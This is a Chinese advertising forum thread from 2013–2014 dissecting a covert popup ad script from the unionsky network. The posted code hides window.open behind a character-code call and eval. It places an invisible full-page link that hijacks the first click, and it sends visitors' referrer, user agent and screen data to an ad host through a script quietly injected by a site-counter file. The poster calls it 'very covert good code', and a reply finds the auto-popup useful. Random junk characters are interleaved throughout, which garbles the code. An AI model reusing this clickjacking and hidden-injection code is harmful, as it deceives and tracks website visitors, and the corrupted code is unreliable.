  377.                         } ! n# _5 M, A6 s# t: P
  378.                     }
    3 M; w# n1 v% ^" c3 N
  379.                     a.style.zIndex = '2147483647'
    , E( k- u5 x9 l4 r7 ^
  380.                 } catch(e) {}
    / t4 j2 h( p: R" u8 g) l
  381.             }
    : |+ y4 G% ]1 d3 s6 F* V3 r) F
  382.         }, , Z. I, t; a2 E, M8 b# C$ D+ ^
  383.         120); . i, c; W5 X" |* _
  384.         a.onclick = function(e) {
    - E7 S7 y3 x3 q* \) A  n5 j& w
  385.             if (document.getElementById('__unionsky_push_d_object_box__') != null) {
    * z, n  }. O; X
  386.                 form_div.parentNode.removeChild(form_div) 2 ^) ?( w4 ]) `8 h/ A) ?/ k
  387.             } + A" V$ c& e' T* P
  388.             e = e || window.event;   S7 W) t0 u3 `8 n$ v
  389.             e.cancelBubble = true;
    " }! M. {- \2 ?' _9 e8 i
  390.             setTimeout(function() {
    , D# s: s- F) e, U, U' D. @7 Y6 H
  391.                 a.parentNode.removeChild(a)
    2 f% |" l0 W- K+ ~/ p; x1 F7 |
  392.             }, 7 G+ O8 e; G  j, M! m9 k
  393.             200); : A: |: A4 U: z( n; `
  394.             clearInterval(m); ( k, e$ g: X$ p( v
  395.             ads++; 8 y, l9 ^7 @* `
  396.             p(ckn, ckt, ads) , {4 b0 k5 m% O' Z
  397.         }; . `2 E" Y& @& t1 m( V
  398.         event(a, 'mouseup', 2 s2 g. V  P" ^" w! A7 x
  399.         function(e) {
    1 p8 I' a1 m3 G$ h5 z( Y
  400.             e = e || window.event;
    4 T7 ?9 C) C  L; Q0 o# ?
  401.             e.cancelBubble = true5 E- G* t' k$ U
  402.         }) 1 {4 g7 @& H9 M: [0 x7 C
  403.     } ) T( G) s$ s' B, v# E
  404.     function func(url, param) {
    * k: W9 N/ |/ ?7 u- A( g' F. F
  405.         var f = window[String.fromCharCode(111, 112, 101, 110)]; , N% C5 j+ r% p, {) R
  406.         var w = f(url, '_blank', 'left=0,top=0,toolbar=yes,location=yes,status=yes,menubar=yes,scrollbars=yes,resizable=yes,width=' + screen.width + ',height=' + screen.height); - u4 W' q/ t& W- s
  407.         if (w) {
    ; F4 i7 i9 l3 A( y; R3 l
  408.             ads++; 6 v' }; x$ y- [8 |  h
  409.             p(ckn, ckt, ads)
    8 C& [4 @5 ]0 \- X% g# @
  410.         }; 3 u  A, `9 \6 D4 C3 f
  411.         return w
    $ Y  P" }( r8 t7 n# d1 p; n* i
  412.     }
    2 _& A1 J  h  l* Q* [
  413.     function fstart(url) { 7 K5 Z: K( F$ L; F
  414.         init();
    - X2 ]8 m7 k8 a' j' y8 o1 _5 Y
  415.         if (_ct >= 0) { , E# w  E& H! _* @- D6 ?! ]
  416.             ckn = "YITIAN_NUM";
    , t5 d5 a+ p# N6 \6 A, v( c
  417.             ckt = _ct ' B0 `# u: M* U6 R3 p
  418.         } else {
    0 ^3 E5 t9 |0 _$ s* W3 m
  419.             ckn = "YITIAN_ALL"; * ^* X3 i: F; w* Y2 }+ R% @0 k5 p" z# ^
  420.             ckt = Math.abs(_ct) # k/ \$ K% N# C4 \0 d3 ~% e) Z
  421.         }
    : x1 d( n' b& D0 r; L& t( d
  422.         if (ckt > 0) {
    4 y, q4 H  H& A7 H! w
  423.             if (b(ckn)) { 4 b9 ]5 z! n" D. X: I
  424.                 try {
    2 K1 X7 X, n! k6 S, l
  425.                     ads = parseFloat(b(ckn)) / m' o; B. g1 H" U
  426.                 } catch(q) {} 2 k1 Z- U2 r$ h7 W( h& B+ @, f
  427.             } 3 e- j; A. {2 l7 Y6 F! a$ w$ `
  428.         } 3 T/ Q* R. @8 k% n3 q% M
  429.         if ((ads > 0 && ckn == 'YITIAN_ALL') || ads >= ytpp_ads) {
    ( \- I; z5 S+ t
  430.             return
    ' h  W  M, F3 H
  431.         } else { + \/ x$ Q, Q; S: s% F
  432.             if (_le > 0) { / Q( z% l7 Z# H& W% \6 j, x/ ^1 Q
  433.                 setTimeout(go(url), _le * 1000)
    & t5 ]4 l+ k* k" X! z% h. p2 ^
  434.             } else { : K% E! {7 E  x6 ]3 h" W) y; [& a, _
  435.                 go(url)
    4 H0 p0 u) b3 @* v
  436.             } - t0 W5 D. L, H% m0 B) ~
  437.         } 2 L% Y3 F1 s% C3 {
  438.     } ' N% U7 ?/ K2 j/ @; O( B, h* q
  439.     function go(url) { 9 ]( ?/ @% }4 I& \; I7 b2 u4 _
  440.         if (_poo == 1) {
    0 z3 s4 E3 f( }
  441.             try {
    ( }1 `. K& }% K2 w# R7 E. j# R& q9 e
  442.                 func(url) 0 r7 e9 G" |: a7 B
  443.             } catch(q) {} 0 z: ^5 _% X7 F8 J9 e
  444.         } else if (_pco == 1) { . n9 ]8 s/ [/ s: ~! B/ A0 G# @7 W
  445.             a_pop(url)
    . D( o' c- U5 q3 b( }
  446.         } else {
    : p+ g1 e3 a2 v7 b
  447.             if (_pd == 1) {
    7 O4 J3 z0 z+ ~7 A5 Y) c1 J! |. Z
  448.                 setTimeout(function() { % K; u4 l* A! B
  449.                     pop(url, { - Q! W/ a# R& H  `( n) w) ?
  450.                         a: 1, , j- j" Z  V. B8 U0 U
  451.                         b: 2 # o4 f/ R% t% a9 ^8 @( O# {
  452.                     })
    , o/ k: Y% i4 n8 V# P# o& E" C3 b' g
  453.                 },
    ' E" h- s' G0 l4 F5 B
  454.                 300) ) M5 Z! R) \/ b) d
  455.             } 2 @1 w4 U, D  _/ n0 ?/ D9 W9 f$ c. S, A
  456.             if (_pd2 > Math.random()) {
    ) M3 \0 q. F' H( S0 W/ T
  457.                 setTimeout(function() {   z) w- k; F* `3 d( k0 V
  458.                     pop(url, { 9 t* y8 J+ C* C6 x1 E
  459.                         a: 1, 2 D8 E& l; O" P* f+ V5 R
  460.                         b: 2
    ) [7 G8 a. N! w0 V
  461.                     })
    / Z- W+ G% E0 g- S, ]4 Z
  462.                 },
    $ ~8 y5 C; ]: _6 j: {7 ^
  463.                 300)
    8 P* \5 F, F$ y; `% g# L: R, `, \
  464.             } ; ~/ {  N; t. Z; k
  465.             for (var i = 1; i <= 10; i++) { 4 A7 C: Q- K% V$ C4 @7 F( {4 L$ V
  466.                 var n = i == 1 ? "": i;
    % I1 O( L9 j4 R" I3 I1 _: a4 \; Z& q
  467.                 if (eval("_pt" + n + "b") > Math.random()) { 8 Z- y! w+ V2 C+ C- {& j
  468.                     setTimeout(function() { 9 ]4 j/ a: ?- ?" Y
  469.                         setTimeout(function() {
    7 ]& i. @0 w& I+ O  n
  470.                             pop(url, { ; }8 L5 N  d& n
  471.                                 a: 1,
    / d3 y3 }: X( Q" p) |  n
  472.                                 b: 2
    . E- z) P9 S8 Q% k! @! @
  473.                             }) - T9 f0 H( _, \! Y
  474.                         }, 2 I! v# \( [1 O! V) V4 r+ v
  475.                         300)
    : }% b! X$ B( P$ L  ^
  476.                     },
    7 p5 E% ]! J- d5 G3 m% W
  477.                     parseInt(eval("_pt" + n + "a")) * 1000) 3 q4 [6 T" G2 p$ [) ?
  478.                 }
    : I+ |6 L; c+ F& J: w8 f- r1 E
  479.             }
    4 E( ~+ F7 M7 N9 a/ z
  480.             if (_pc2 > Math.random()) {
    5 ~* t& }( t# B- U7 ?6 E  J
  481.                 a_pop(url) 8 Q2 f* q: B3 m. r
  482.             }
    ! i( J2 v! D, P6 U) o9 T+ s  ^1 r
  483.             if (_po > Math.random()) { 5 ?6 [' j% z  t. O% }- m9 G" A
  484.                 try {
    0 J2 z7 \1 w" f% |# N. W
  485.                     func(url)
    " \0 u# Z) k+ k3 {1 M2 Q
  486.                 } catch(q) {} 6 B3 R! }/ p3 R4 V; d/ j1 S4 V! J
  487.             }
    $ ]8 \  l  h5 {, S
  488.         }
    ' y% h' u$ `. i6 }# n5 e
  489.     }; . }& x, N. U% f) d9 X- t2 C
  490.     fstart(aa_url); / t- T: N1 @# B* I& \4 I9 x! T
  491.     event(window, 'beforeunload',
    : q& R6 {" s8 ]: Y7 K
  492.     function() {}) + `+ r2 z' @! _; Z
  493. })();
复制代码
通过浏览器抓包- o2 C9 h& c3 x: L3 @$ W" Q
URL从这里产生
* u/ z+ Q% v6 H" n
' v$ z4 o! u2 l+ l, x, c7 j, ?3 n" rhttp://play.unionsky.cn/show/?placeid=141830% M* t! x( ~/ w" G" N

6 g) Q) W( T5 Y& a4 ]7 y) ]( @( k- a0 u  \- N. Q5 i, U, J6 S
相关帖子
回复

使用道具 举报

126

主题

62

广告币

394

积分

初级会员

积分
394

社区QQ达人

 楼主| 发表于 2013-12-17 15:04:10 | 显示全部楼层
直接打开看不到什么东西5 c2 d% [( v: Q
http://www.unionsky.cn/ 是属于这个广告联盟的
' G) ~& V+ i. b1 h. `7 E我们直接分析抓包的内容6 E) k$ t* Y' X) T1 f
var ytpp_r = encodeURIComponent(encodeURIComponent(document.referrer));
; y, n% }% J1 P' Kytpp_r = ytpp_r.length > 1000 ? ytpp_r.substring(0, 1000) : ytpp_r;
# R( U+ a; [7 u# H; jvar ytpp_u = encodeURIComponent(navigator.userAgent); - ]8 ~9 n* `2 T
var ytpp_s = window.screen.width + "*" + window.screen.height;
0 X( R/ c$ x6 K) gvar ytpp_l = navigator.browserLanguage || navigator.language;
) f0 `) p! i3 z1 x/ l0 Wvar ytpp_plid = 141830; % r6 H4 B- o' w9 T
var ytpp_w = 0; $ D8 e; k* ]9 B4 k5 k' |
var ytpp_h = 0;
. ~2 N9 @. z$ e4 D+ x3 B. |/ mvar ytpp_url = "http://www.lxting.com/jmp/?p=f7xNjUO8Y80tB6KZyJ*jzRXjLuoZaOluHDv/IndJK1Z/mc0eKhM2QddlbEorugPwTAd08JIi*oDNYfaUSsF7QNBk3/CB3LW8&r=" + ytpp_r + "&u=" + ytpp_u + "&s=" + ytpp_s + "&l=" + ytpp_l + "&n=" + Math.random(); 6 U+ p  E4 R' h8 \) h; v
var ytpp_ads = 14;
. z6 |1 g$ M7 f6 K+ rvar ytpp_sti = 'CT:-3D:1C:1C2:1T:60,1T2:100,1;';
) J2 ?" |1 j- o* Fdocument.write("<script language='javascript' type='text/javascript' src='http://www.lxting.com/pp/?p=f7xNjUO8Y81LybptxG2Vq//rYbtxQcP5GVnJOL07Ka8=&r=" + ytpp_r + "&u=" + ytpp_u + "&s=" + ytpp_s + "&l=" + ytpp_l + "&n=" + Math.random() + "'></script>"); : Y: E1 b4 T0 c5 ]
document.write("<script language='javascript' type='text/javascript' src='http://www.lxting.com/script/popup/v1_min.js'></script>");

0 |6 u8 u% n7 J$ j那么这个http://play.unionsky.cn/show/?placeid=141830又是从哪里被引用进去呢。" D5 \- H+ Z3 {: t0 K0 \0 q
继续分析 发现这里- m5 l3 L: I0 A. Q

; E" j$ C1 G% K6 S$ ahttp://txsite.21tx.com/count/count.js
7 x! X& k% n5 @
) b& U& P; k9 M' _1 V7 x; u
txcount_uid = 1; % S% l( \; V3 K1 b
txcount_uh = 0;
# ~& }+ T4 [$ r. x+ H! e( B; A' N, Btxcount_uw = 0;
2 u9 W7 x5 k: d6 d/ {! itxcount_uah = 0;
8 [$ }) D% p9 D  Rtxcount_uaw = 0; . x3 O" [! j5 \8 S1 H
txcount_ucd = 0;
+ T* G5 I' Y/ [. \' }" R! ^( l" @, w* b& j   
1 _4 k: d. C7 ~% z; Aif (window.screen) { , d* r) Q. H* t8 Y
  txcount_uh = window.screen.height;
+ p( x4 G: O* g9 D4 }0 a  txcount_uw = window.screen.width; $ b9 {  e  c" J, C3 @3 l$ S
  txcount_uah = window.screen.availHeight;
8 F! j, g' W! [  A# M  txcount_uaw = window.screen.availWidth;
) ?# z  E# c' i/ g! H  ]  txcount_ucd = window.screen.colorDepth; 0 y/ |' M" H  t# u& V/ Z
} # V; n% s1 u- j6 }6 H. J8 m
   $ v" x! }3 K0 ^0 _
   # z8 ?/ N% S) C; Y* m
var url = "http://txsite.21tx.com/count/count.aspx"; 2 }$ l% a  {4 Y+ l. C* Z
url = url + "?u="+ txcount_uid;
5 Z1 N: U8 G0 Y//url = url + "&f=" + txcount_f;
+ f3 f! |3 V. {& T. x* Vurl = url + "&k=" + txsite_pagekey; ( w8 Y# `) r( s# F1 i
//url = url + "&t=" + txcount_t;
: z0 n0 h) \; B$ `8 A) Jurl = url + "&l=" + escape(document.location); 0 F) J; `1 d% Q
url = url + "&r=" + escape(document.referrer); 5 N! z; I/ P4 e
url = url + "&uh=" + txcount_uh;
/ H  R; o0 g3 ~1 c% F  Aurl = url + "&uw=" + txcount_uw; & Y# |, D- i8 ^/ i
url = url + "&uah=" + txcount_uah;
% ~; f; |  v! w! R0 D* v# Aurl = url + "&uaw=" + txcount_uaw; + v+ a, x1 ?  ^! @- k/ N+ M
url = url + "&ucd=" + txcount_ucd;
; `2 ?  Y* g3 s3 C2 U" S! y0 a   
3 b5 t( @: x4 z4 p8 ^) L7 a, P( z% f   
! h+ r, A, \2 wdocument.write("<script src=" + url + "><\/script>"); 4 H2 E" c1 p9 ?5 Y3 j
//document.write('<script src="http://s4.cnzz.com/stat.php?id=4820460&web_id=4820460" language="JavaScript" charset="gb2312"><\/script>'); - N. \' J" K2 n* j
   2 b% P, ]# j: s2 K
document.write('<script src="http://s127.cnzz.com/stat.php?id=1474936&web_id=1474936" language="JavaScript" charset="gb2312"><\/script>'); 3 M1 x6 W. `7 ^, v1 E
   " y  k; b% \3 x! c) G1 z
   
$ `! l' ~+ A$ |# x3 A) Y) F. |document.write("<script language='javascript' src='http://play.unionsky.cn/show/?placeid=141830'><\/script>");
2 {0 ^1 b6 _, Y' J0 _! O

7 N- z! G2 }, g9 M: X一切昭然天下了。; M- V8 T+ d! L" G+ i- o
代码产生的直接效果如下$ O" R  x, R) @2 `7 v' c2 a

3 n$ {/ {! D" t+ H5 @7 j4 ? <a  target="_blank" style="position: absolute; z-index: 2147483647; display: block; top: 0px; left: 0px; cursor: default; opacity: 0;"><div style="background-color: rgb(255, 255, 255); width: 1903px; height: 650px;"></div></a> + T7 a) j) K* r

) n  z( C" u9 d9 V& ~1 i很隐秘的一段好代码
0 Q/ H6 V3 y7 f9 [( H- E, n5 K7 B
回复 支持 反对

使用道具 举报

0

主题

488

广告币

1280

积分

高级会员

积分
1280
发表于 2013-12-17 15:31:30 | 显示全部楼层
标记一下 好象看不懂还
回复 支持 反对

使用道具 举报

31

主题

266

广告币

801

积分

中级会员

积分
801
发表于 2013-12-17 16:34:22 | 显示全部楼层
不清楚国内,莫非做taobao不可以直接用弹窗吗?
回复 支持 反对

使用道具 举报

4

主题

1334

广告币

1390

积分

高级会员

积分
1390
发表于 2013-12-17 18:49:06 | 显示全部楼层
没用 360 搜狗 直接就拦截了,chrome可以弹出来
回复 支持 反对

使用道具 举报

54

主题

9

广告币

6010

积分

禁止访问

积分
6010
发表于 2013-12-17 19:34:38 | 显示全部楼层
adblock 完美屏蔽
回复 支持 反对

使用道具 举报

0

主题

91

广告币

97

积分

初级会员

积分
97

社区QQ达人

发表于 2013-12-17 23:34:52 | 显示全部楼层
没研究全,期待跟多解析。
过往.
回复 支持 反对

使用道具 举报

6

主题

682

广告币

1090

积分

中级会员

积分
1090

社区QQ达人

发表于 2013-12-18 00:52:13 | 显示全部楼层
代码看不懂,不过觉得挺好用的……自动弹窗
回复 支持 反对

使用道具 举报

52

主题

458

广告币

844

积分

中级会员

积分
844
发表于 2013-12-18 01:24:03 | 显示全部楼层
没懂% p, h+ Q0 d4 c+ b; F$ m

2 U1 g2 M- k/ W  m3 l4 z8 U1,首次访问有个弹窗,但是被chrome给拦截了
9 p% ~6 y/ ?% \( k# z: G7 ?$ ?0 K' h8 d  ^7 c1 y- H" o1 V
2,劫持了第一次点击
8 U7 G1 |/ D. ?- G* }2 K
+ e2 D7 H3 |5 d: {- V% L3,CS了一下unionsky
( h/ R! _" V" _6 q) r1 ~" T- C
4 [9 k- F' W3 P9 n$ ?然后?
回复 支持 反对

使用道具 举报

126

主题

62

广告币

394

积分

初级会员

积分
394

社区QQ达人

 楼主| 发表于 2013-12-18 03:49:31 | 显示全部楼层
cissss 发表于 2013-12-18 01:24 9 _  B9 W. z+ X3 v' m. H8 ?
没懂
' G  Z4 j6 D- X# O( g% t' a% _4 P9 K7 B* I" P
1,首次访问有个弹窗,但是被chrome给拦截了
, ]; w, t" Z' i# D% g; N- K
懂的人一看就懂 不懂的人怎么看就不懂
回复 支持 反对

使用道具 举报

4

主题

442

广告币

720

积分

中级会员

积分
720
发表于 2013-12-18 06:34:13 | 显示全部楼层
这个CJ怎么搞的这么复杂...
回复 支持 反对

使用道具 举报

52

主题

458

广告币

844

积分

中级会员

积分
844
发表于 2013-12-18 17:31:57 | 显示全部楼层
小狠 发表于 2013-12-18 03:49
" S4 o2 w8 v/ ~' M( T懂的人一看就懂 不懂的人怎么看就不懂
/ ~7 Y# w7 R) a4 \/ G5 g6 m
我确实不懂你发这贴的意思。 可以理解为装逼么?
回复 支持 反对

使用道具 举报

0

主题

386

广告币

341

积分

初级会员

积分
341

社区QQ达人

发表于 2014-3-14 13:10:39 | 显示全部楼层
不就是个弹窗代码吗?
回复 支持 反对

使用道具 举报

3

主题

88

广告币

113

积分

初级会员

积分
113

社区QQ达人

发表于 2014-3-14 23:11:34 | 显示全部楼层
我表示看不懂
回复 支持 反对

使用道具 举报

4

主题

1

广告币

135

积分

初级会员

积分
135

社区QQ达人

QQ
发表于 2014-3-15 12:03:35 | 显示全部楼层
占位,慢慢领会啥意思
http://faaad.com
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关于我们|联系我们|DMCA|广告服务|小黑屋|手机版|Archiver|Github|网站地图|AdvertCN

GMT+8, 2026-8-15 09:20 , Processed in 0.068210 second(s), 24 queries , Gzip On.

Copyright © 2001-2026, AdvertCN

Proudly Operating in Hong Kong.

快速回复 返回顶部 返回列表